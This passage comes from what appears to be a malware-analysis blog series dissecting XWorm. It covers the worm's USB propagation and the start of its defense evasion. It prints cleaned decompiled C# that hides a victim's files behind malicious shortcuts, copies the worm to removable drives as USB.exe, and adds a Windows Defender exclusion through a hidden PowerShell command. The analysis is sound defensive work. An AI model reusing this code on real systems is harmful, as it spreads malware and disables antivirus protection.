</span></span><span class="line"><span class="cl">						<span class="n">RegistryKey</span> <span class="n">registryKey</span> <span class="p">=</span> <span class="m">2</span><span class="n">HmONKQojJhuyq7J5js7wzrwlEjPZ2gvOmWLZ</span><span class="p">.</span><span class="n">Computer</span><span class="p">.</span><span class="n">Registry</span><span class="p">.</span><span class="n">CurrentUser</span><span class="p">.</span><span class="n">OpenSubKey</span><span class="p">(</span><span class="s">&#34;Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced&#34;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">						<span class="n">IL_0043</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">						<span class="n">num</span> <span class="p">=</span> <span class="m">6</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span></span></span></code></pre></div>
</div>
<p>The code appears to be either improperly decompiled or obfuscated: we observe infinite loops, conditions like &ldquo;if (!true)&rdquo;, references to other parts of the code (IL_074D), and multiple assignments of numbers to variables (num = 5).</p>
<p>Since we do not have the malware&rsquo;s source code, we cannot determine how this function originally looked. However, I can think of three possible explanations:</p>
<ol>
<li>The attacker obfuscated this function to make analysis more difficult.</li>
<li>There was an issue during the function&rsquo;s decompilation.</li>
<li>The attacker reused code from another malware.</li>
</ol>
<p>The first two options seem unlikely. If the attacker intended to hinder analysis, why not obfuscate the rest of the code as well? As we will see later, the malware&rsquo;s primary goal (its RAT functions) is not obfuscated in the same way. The other possibility is a decompiler error, but why would it only affect this function?</p>
<p>Based on this, I lean toward the third option: the attacker reused code from their own toolkit or another malware, where obfuscation was likely applied.</p>
<h3 id="step-by-step-analysis">
  Step-by-Step Analysis<a class="heading-anchor" href="#step-by-step-analysis" aria-label="Link to this section">#</a></h3>
<p>Although analyzing this function seems challenging, we can focus on the lines of code that appear to execute specific actions.</p>
<p>The function begins by modifying a registry key:
<figure><img src="/p/009-xworm-4/009-modifyRegistry_hu_341807453a3870f6.webp" alt="Registry modification" loading="lazy" decoding="async" width="769" height="362"><figcaption>Registry modification</figcaption></figure>
</p>
<p>Clean code:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="n">RegistryKey</span> <span class="n">registryKey</span> <span class="p">=</span> <span class="n">class</span><span class="p">.</span><span class="n">Computer</span><span class="p">.</span><span class="n">Registry</span><span class="p">.</span><span class="n">CurrentUser</span><span class="p">.</span><span class="n">OpenSubKey</span><span class="p">(</span><span class="s">&#34;Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced&#34;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">ConditionalCompareObjectEqual</span><span class="p">(</span><span class="n">registryKey</span><span class="p">.</span><span class="n">GetValue</span><span class="p">(</span><span class="s">&#34;ShowSuperHidden&#34;</span><span class="p">),</span> <span class="m">1</span><span class="p">,</span> <span class="kc">false</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">registryKey</span><span class="p">.</span><span class="n">SetValue</span><span class="p">(</span><span class="s">&#34;ShowSuperHidden&#34;</span><span class="p">,</span> <span class="m">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span></span></span></code></pre></div>
</div>
<p>The purpose of <code>ShowSuperHidden</code> is not immediately clear. Are there hidden and <em>super-hidden</em> files?</p>
<p>Delving into Microsoft&rsquo;s documentation, we find that this flag <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/3c837e92-016e-4148-86e5-b4f0381a757f" rel="noopener noreferrer external" target="_blank">indicates whether <strong>protected system files</strong> should be displayed</a>
.</p>
<p>XWorm sets the flag to <code>0</code>, which disables the display of protected system files.</p>
<p>Once the registry key is modified, the malware iterates through the system&rsquo;s drives and checks which ones are usable and removable (e.g., USBs):
<figure><img src="/p/009-xworm-4/009-getdrives_hu_cdc9ef9babab29bb.webp" alt="Find drives" loading="lazy" decoding="async" width="493" height="257"><figcaption>Find drives</figcaption></figure>

Clean code:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="n">DriveInfo</span><span class="p">[]</span> <span class="n">drives</span> <span class="p">=</span> <span class="n">DriveInfo</span><span class="p">.</span><span class="n">GetDrives</span><span class="p">();</span> <span class="c1">//get drives</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">while</span> <span class="p">(</span><span class="n">i</span> <span class="p">&lt;</span> <span class="n">drives</span><span class="p">.</span><span class="n">Length</span><span class="p">)</span> <span class="c1">//iterate through drives</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">DriveInfo</span> <span class="n">driveInfo</span> <span class="p">=</span> <span class="n">drives</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span> <span class="p">(</span><span class="n">driveInfo</span><span class="p">.</span><span class="n">IsReady</span><span class="p">)</span> <span class="c1">//check if drive is usable</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="k">if</span> <span class="p">(</span><span class="n">driveInfo</span><span class="p">.</span><span class="n">DriveType</span> <span class="p">==</span> <span class="n">DriveType</span><span class="p">.</span><span class="n">Removable</span><span class="p">)</span> <span class="c1">//check if drive is removable</span>
</span></span><span class="line"><span class="cl">						<span class="p">{</span>
</span></span><span class="line"><span class="cl">							<span class="p">...</span>
</span></span><span class="line"><span class="cl">						<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span></span></span></code></pre></div>
</div>
<p>If the device is removable and ready, the malware retrieves the drive letter (e.g., &ldquo;D:&quot;), copies a program to its root directory, and sets the program&rsquo;s attributes to <strong>hidden</strong> and <strong>system</strong>:
<figure><img src="/p/009-xworm-4/009-copyfile_hu_16fd9e4267f401a2.webp" alt="Copying itself" loading="lazy" decoding="async" width="685" height="264"><figcaption>Copying itself</figcaption></figure>

Clean code:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kt">string</span> <span class="n">name</span> <span class="p">=</span> <span class="n">driveInfo</span><span class="p">.</span><span class="n">Name</span><span class="p">;</span> <span class="c1">//gets the drive letter</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(!</span><span class="n">File</span><span class="p">.</span><span class="n">Exists</span><span class="p">(</span><span class="n">name</span> <span class="p">+</span> <span class="n">programa</span><span class="p">))</span> <span class="c1">//Checks if a program called &#34;USB.exe&#34; exists on the removable drive</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">File</span><span class="p">.</span><span class="n">WriteAllBytes</span><span class="p">(</span><span class="n">name</span> <span class="p">+</span> <span class="n">programa</span><span class="p">,</span> <span class="n">File</span><span class="p">.</span><span class="n">ReadAllBytes</span><span class="p">(</span><span class="n">archivoActual</span><span class="p">));</span> <span class="c1">//copies itself to the drive with the name &#34;USB.exe&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="n">File</span><span class="p">.</span><span class="n">SetAttributes</span><span class="p">(</span><span class="n">name</span> <span class="p">+</span> <span class="n">programa</span><span class="p">,</span> <span class="n">FileAttributes</span><span class="p">.</span><span class="n">Hidden</span> <span class="p">|</span> <span class="n">FileAttributes</span><span class="p">.</span><span class="n">System</span><span class="p">);</span> <span class="c1">//configures &#34;USB.exe&#34; as a hidden and system file</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span></span></span></code></pre></div>
</div>
<p>What program does the malware copy?<br>
It copies itself under the name <strong>&ldquo;USB.exe&rdquo;</strong>, which was decrypted in memory when XWorm began execution.</p>
<p>Once XWorm copies itself to removable devices and hides, it iterates through every file in each drive using the <code>Directory.GetFiles</code> function. It then hides these files and creates shortcuts to them that execute the malware:
<figure><img src="/p/009-xworm-4/009-createlnk_hu_2bfbe08230821dbd.webp" alt="Shortcut creation" loading="lazy" decoding="async" width="1400" height="400"><figcaption>Shortcut creation</figcaption></figure>

Clean code:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kt">string</span><span class="p">[]</span> <span class="n">files</span> <span class="p">=</span> <span class="n">Directory</span><span class="p">.</span><span class="n">GetFiles</span><span class="p">(</span><span class="n">name</span><span class="p">);</span> <span class="c1">//get files on the removable drive</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">j</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="p">(</span><span class="n">j</span> <span class="p">&lt;</span> <span class="n">files</span><span class="p">.</span><span class="n">Length</span><span class="p">)</span> <span class="c1">//iterate through each file</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="n">files</span><span class="p">[</span><span class="n">j</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="p">((</span><span class="n">Operators</span><span class="p">.</span><span class="n">CompareString</span><span class="p">(</span><span class="n">Path</span><span class="p">.</span><span class="n">GetExtension</span><span class="p">(</span><span class="n">text</span><span class="p">).</span><span class="n">ToLower</span><span class="p">(),</span> <span class="s">&#34;.lnk&#34;</span><span class="p">,</span> <span class="kc">false</span><span class="p">)</span> <span class="p">!=</span> <span class="m">0</span><span class="p">)</span> <span class="p">&amp;</span> <span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">CompareString</span><span class="p">(</span><span class="n">text</span><span class="p">.</span><span class="n">ToLower</span><span class="p">(),</span> <span class="n">name</span><span class="p">.</span><span class="n">ToLower</span><span class="p">()</span> <span class="p">+</span> <span class="n">programa</span><span class="p">.</span><span class="n">ToLower</span><span class="p">(),</span> <span class="kc">false</span><span class="p">)</span> <span class="p">!=</span> <span class="m">0</span><span class="p">))</span> <span class="c1">//checks if the file is neither a shortcut nor &#34;USB.exe&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">File</span><span class="p">.</span><span class="n">SetAttributes</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="n">FileAttributes</span><span class="p">.</span><span class="n">Hidden</span> <span class="p">|</span> <span class="n">FileAttributes</span><span class="p">.</span><span class="n">System</span><span class="p">);</span> <span class="c1">//hides the file and sets it as a system file</span>
</span></span><span class="line"><span class="cl">				<span class="kt">object</span> <span class="n">obj</span> <span class="p">=</span> <span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateGet</span><span class="p">(</span><span class="n">objectValue</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;CreateShortcut&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]</span> <span class="p">{</span> <span class="n">name</span> <span class="p">+</span> <span class="k">new</span> <span class="n">FileInfo</span><span class="p">(</span><span class="n">text</span><span class="p">).</span><span class="n">Name</span> <span class="p">+</span> <span class="s">&#34;.lnk&#34;</span> <span class="p">},</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateSetComplex</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;windowstyle&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]</span> <span class="p">{</span> <span class="m">7</span> <span class="p">},</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateSetComplex</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;TargetPath&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]</span> <span class="p">{</span> <span class="s">&#34;cmd.exe&#34;</span> <span class="p">},</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateSetComplex</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;WorkingDirectory&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]</span> <span class="p">{</span> <span class="s">&#34;&#34;</span> <span class="p">},</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateSetComplex</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;Arguments&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]</span> <span class="p">{</span> <span class="kt">string</span><span class="p">.</span><span class="n">Concat</span><span class="p">(</span><span class="k">new</span> <span class="kt">string</span><span class="p">[]</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="s">&#34;/c start &#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">						<span class="n">programa</span><span class="p">.</span><span class="n">Replace</span><span class="p">(</span><span class="s">&#34; &#34;</span><span class="p">,</span> <span class="s">&#34;\&#34; \&#34;&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">						<span class="s">&#34;&amp;start &#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">						<span class="k">new</span> <span class="n">FileInfo</span><span class="p">(</span><span class="n">text</span><span class="p">).</span><span class="n">Name</span><span class="p">.</span><span class="n">Replace</span><span class="p">(</span><span class="s">&#34; &#34;</span><span class="p">,</span> <span class="s">&#34;\&#34; \&#34;&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">						<span class="s">&#34; &amp; exit&#34;</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="p">)}</span> <span class="c1">//creates a shortcut to the file that will also execute &#34;USB.exe&#34;</span>
</span></span><span class="line"><span class="cl">				<span class="p">...</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span></span></span></code></pre></div>
</div>
<p>The code might seem difficult to understand, but if we analyze it step by step, it performs the following actions:</p>
<ol>
<li>Retrieves all existing files on the removable drive.</li>
<li>Iterates through each file and checks if it is a shortcut (<code>.lnk</code>) or the malware copied in the previous step (<code>USB.exe</code>).</li>
<li>If the file is neither of those, it <strong>hides</strong> it and <strong>marks it as a system file</strong>.</li>
<li>Creates a shortcut with the same name as the original file and configures it to execute: <code>&quot;cmd.exe /c start USB.exe &amp; start HiddenFile &amp; exit&quot;</code></li>
</ol>
<p>By doing this, <strong>each time a user double-clicks the shortcut, XWorm will execute while also opening the original file to avoid raising suspicion</strong>.</p>
<p>The next step the malware performs is changing the shortcut icon to match the original file&rsquo;s icon. Since this is not critical for the analysis, I will not delve into this point.</p>
<p>Once the malware iterates through all the files, it does the same with the folders; it hides them, marks them as protected, and creates a shortcut for each:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kt">string</span><span class="p">[]</span> <span class="n">directories</span> <span class="p">=</span> <span class="n">Directory</span><span class="p">.</span><span class="n">GetDirectories</span><span class="p">(</span><span class="n">name</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">k</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="p">(</span><span class="n">k</span> <span class="p">&lt;</span> <span class="n">directories</span><span class="p">.</span><span class="n">Length</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="kt">string</span> <span class="n">text2</span> <span class="p">=</span> <span class="n">directories</span><span class="p">[</span><span class="n">k</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">		<span class="n">File</span><span class="p">.</span><span class="n">SetAttributes</span><span class="p">(</span><span class="n">text2</span><span class="p">,</span> <span class="n">FileAttributes</span><span class="p">.</span><span class="n">Hidden</span> <span class="p">|</span> <span class="n">FileAttributes</span><span class="p">.</span><span class="n">System</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="kt">object</span> <span class="n">obj4</span> <span class="p">=</span> <span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateGet</span><span class="p">(</span><span class="n">objectValue</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;CreateShortcut&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]</span> <span class="p">{</span> <span class="n">name</span> <span class="p">+</span> <span class="n">Path</span><span class="p">.</span><span class="n">GetFileNameWithoutExtension</span><span class="p">(</span><span class="n">text2</span><span class="p">)</span> <span class="p">+</span> <span class="s">&#34; .lnk&#34;</span> <span class="p">},</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateSetComplex</span><span class="p">(</span><span class="n">obj4</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;windowstyle&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]</span> <span class="p">{</span> <span class="m">7</span> <span class="p">},</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateSetComplex</span><span class="p">(</span><span class="n">obj4</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;TargetPath&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]</span> <span class="p">{</span> <span class="s">&#34;cmd.exe&#34;</span> <span class="p">},</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateSetComplex</span><span class="p">(</span><span class="n">obj4</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;WorkingDirectory&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]</span> <span class="p">{</span> <span class="s">&#34;&#34;</span> <span class="p">},</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateSetComplex</span><span class="p">(</span><span class="n">obj4</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;arguments&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]</span> <span class="p">{</span> <span class="kt">string</span><span class="p">.</span><span class="n">Concat</span><span class="p">(</span><span class="k">new</span> <span class="kt">string</span><span class="p">[]</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="s">&#34;/c start &#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">				<span class="n">Strings</span><span class="p">.</span><span class="n">Replace</span><span class="p">(</span><span class="n">programa</span><span class="p">,</span> <span class="s">&#34; &#34;</span><span class="p">,</span> <span class="s">&#34;\&#34; \&#34;&#34;</span><span class="p">,</span> <span class="m">1</span><span class="p">,</span> <span class="p">-</span><span class="m">1</span><span class="p">,</span> <span class="n">CompareMethod</span><span class="p">.</span><span class="n">Binary</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">				<span class="s">&#34;&amp;start explorer &#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">				<span class="n">Strings</span><span class="p">.</span><span class="n">Replace</span><span class="p">(</span><span class="k">new</span> <span class="n">DirectoryInfo</span><span class="p">(</span><span class="n">text2</span><span class="p">).</span><span class="n">Name</span><span class="p">,</span> <span class="s">&#34; &#34;</span><span class="p">,</span> <span class="s">&#34;\&#34; \&#34;&#34;</span><span class="p">,</span> <span class="m">1</span><span class="p">,</span> <span class="p">-</span><span class="m">1</span><span class="p">,</span> <span class="n">CompareMethod</span><span class="p">.</span><span class="n">Binary</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">				<span class="s">&#34;&amp;exit&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="p">)}</span>
</span></span><span class="line"><span class="cl">		<span class="p">...</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">					</span></span></code></pre></div>
</div>
<p>As we can see, the main difference is that the malware executes <code>&quot;cmd.exe /c start USB.exe &amp; start explorer HiddenFolder &amp; exit&quot;</code>, which runs the malware and opens the folder the victim intends to access.</p>
<blockquote>
<p><strong>Note on the use of ShowSuperHidden</strong>: One might assume that enabling the &ldquo;Show hidden files and folders&rdquo; option would reveal all files, but it <strong>does not display hidden system files</strong>.</p>
</blockquote>
<h2 id="lateral-movement-analysis">
  Lateral Movement Analysis<a class="heading-anchor" href="#lateral-movement-analysis" aria-label="Link to this section">#</a></h2>
<p>In a world where more and more programs spread through networks, I find XWorm&rsquo;s propagation method particularly interesting. We&rsquo;ve all used USB drives at some point, both on corporate and personal computers, making this technique capable of infecting multiple devices across different networks (for example, if I use the same USB at home and at my workplace).</p>
<p>Analyzing this technique also allowed me to learn something new about hidden files: not all of them are visible even when enabling the &ldquo;Show hidden files&rdquo; option in File Explorer. Through dynamic analysis, I confirmed that even with this option enabled, I couldn&rsquo;t see the <code>USB.exe</code> program or the hidden folders/files.</p>
<p>Opening the original files after clicking the shortcut and changing the shortcut icons might seem like minor details, but they have a significant impact. Aside from the small arrow indicating a shortcut, a victim would have no way of knowing they executed something unintended. Even if they recognize the icon, we&rsquo;ve all used shortcuts before, and they might not think twice before double-clicking it.</p>
<h2 id="next-steps">
  Next Steps<a class="heading-anchor" href="#next-steps" aria-label="Link to this section">#</a></h2>
<p>We&rsquo;ve seen how XWorm spreads, but what does it do once it&rsquo;s inside the system? In the next article, we&rsquo;ll explore how it steals cryptocurrencies and records every keystroke its victim types.</p>
<p>See you in the next article!</p>
]]></content:encoded></item><item><title>008 - Decoding XWorm: Defense Evasion and Persistence</title><link>https://www.threatanatomy.com/p/008-xworm-3/</link><pubDate>Wed, 22 Jan 2025 12:08:00 -0500</pubDate><guid>https://www.threatanatomy.com/p/008-xworm-3/</guid><description>In this article, we explore how XWorm evades defenses and establishes persistence.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction">
  Introduction<a class="heading-anchor" href="#introduction" aria-label="Link to this section">#</a></h2>
<p>In previous articles, we explored how XWorm avoids analysis and detection. In this article, we will focus on its ability to evade defenses and ensure persistence on the system.</p>
<h2 id="defense-evasion">
  Defense Evasion<a class="heading-anchor" href="#defense-evasion" aria-label="Link to this section">#</a></h2>
<blockquote>
<p>Defense evasion is a tactic used by attackers to avoid detection by security solutions such as antivirus software, Endpoint Detection and Response (EDR) tools, or firewalls. By employing these techniques, attackers aim to ensure that their malware can operate uninterrupted, concealing its presence while performing malicious actions on the system.</p>
</blockquote>
<p>Once the malware&rsquo;s execution environment has been validated, it proceeds to call the function <em>iPJELYICawSFgzNPNEXj6qKKNQCWZykiDnDoP</em>; this function performs a validation and, if the result is positive, proceeds to execute a block of code:</p>
<p><figure><img src="/p/008-xworm-3/008-defenceev_hu_43f7f31ddc0bab9.webp" alt="Defense evasion" loading="lazy" decoding="async" width="926" height="454"><figcaption>Defense evasion</figcaption></figure>
</p>
<p>Before executing the code block, the malware checks if the current user has elevated privileges using the <em>WindowsPrincipal.IsInRole</em> method:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="kt">string</span> <span class="n">text</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">text</span> <span class="p">=</span> <span class="k">new</span> <span class="n">WindowsPrincipal</span><span class="p">(</span><span class="n">WindowsIdentity</span><span class="p">.</span><span class="n">GetCurrent</span><span class="p">()).</span><span class="n">IsInRole</span><span class="p">(</span><span class="n">WindowsBuiltInRole</span><span class="p">.</span><span class="n">Administrator</span><span class="p">).</span><span class="n">ToString</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="k">return</span> <span class="n">text</span><span class="p">;</span></span></span></code></pre></div>
</div>
<p>Given that we are administrators on the analysis machine, one would expect the method to return True; however, upon dynamically analyzing the function, we see that this is not the case:
<figure><img src="/p/008-xworm-3/008-isadmin_hu_56a0dfb9b7e0ead0.webp" alt="Admin validation" loading="lazy" decoding="async" width="1016" height="338"><figcaption>Admin validation</figcaption></figure>
</p>
<p>Why does this happen? We can refer to the <a href="https://learn.microsoft.com/en-us/dotnet/api/system.security.principal.windowsprincipal.isinrole?view=net-9.0" rel="noopener noreferrer external" target="_blank">method documentation</a>
 to understand the reason:</p>
<p><em>In Windows Vista, User Account Control (UAC) determines the privileges of a user. If you are a member of the Built-in Administrators group, you are assigned two run-time access tokens: a standard user access token and an administrator access token. <strong>By default, you are in the standard user role.</strong> When you attempt to perform a task that requires administrative privileges, you can dynamically elevate your role by using the Consent dialog box. The code that executes the IsInRole method does not display the Consent dialog box. <strong>The code returns false if you are in the standard user role, even if you are in the Built-in Administrators group.</strong> You can elevate your privileges before you execute the code by right-clicking the application icon and indicating that you want to run as an administrator.</em></p>
<p>The documentation explains why the function returns False: Windows uses a token scheme to determine the current user&rsquo;s privileges; even if the user belongs to the administrators group, the default token will be for a standard role unless the program is explicitly run with elevated privileges.</p>
<p>Since the malware is not running with elevated privileges, it will not execute the rest of the function; however, we can analyze what it would do statically:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="n">ProcessStartInfo</span> <span class="n">processStartInfo</span> <span class="p">=</span> <span class="k">new</span> <span class="n">ProcessStartInfo</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">					<span class="n">processStartInfo</span><span class="p">.</span><span class="n">FileName</span> <span class="p">=</span> <span class="s">&#34;powershell.exe&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="n">processStartInfo</span><span class="p">.</span><span class="n">WindowStyle</span> <span class="p">=</span> <span class="n">ProcessWindowStyle</span><span class="p">.</span><span class="n">Hidden</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="n">processStartInfo</span><span class="p">.</span><span class="n">Arguments</span> <span class="p">=</span> <span class="s">&#34;-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath &#39;&#34;</span> <span class="p">+</span> <span class="n">class1</span><span class="p">.</span><span class="n">variable1</span> <span class="p">+</span> <span class="s">&#34;&#39;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="n">Process</span><span class="p">.</span><span class="n">Start</span><span class="p">(</span><span class="n">processStartInfo</span><span class="p">).</span><span class="n">WaitForExit</span><span class="p">();</span>
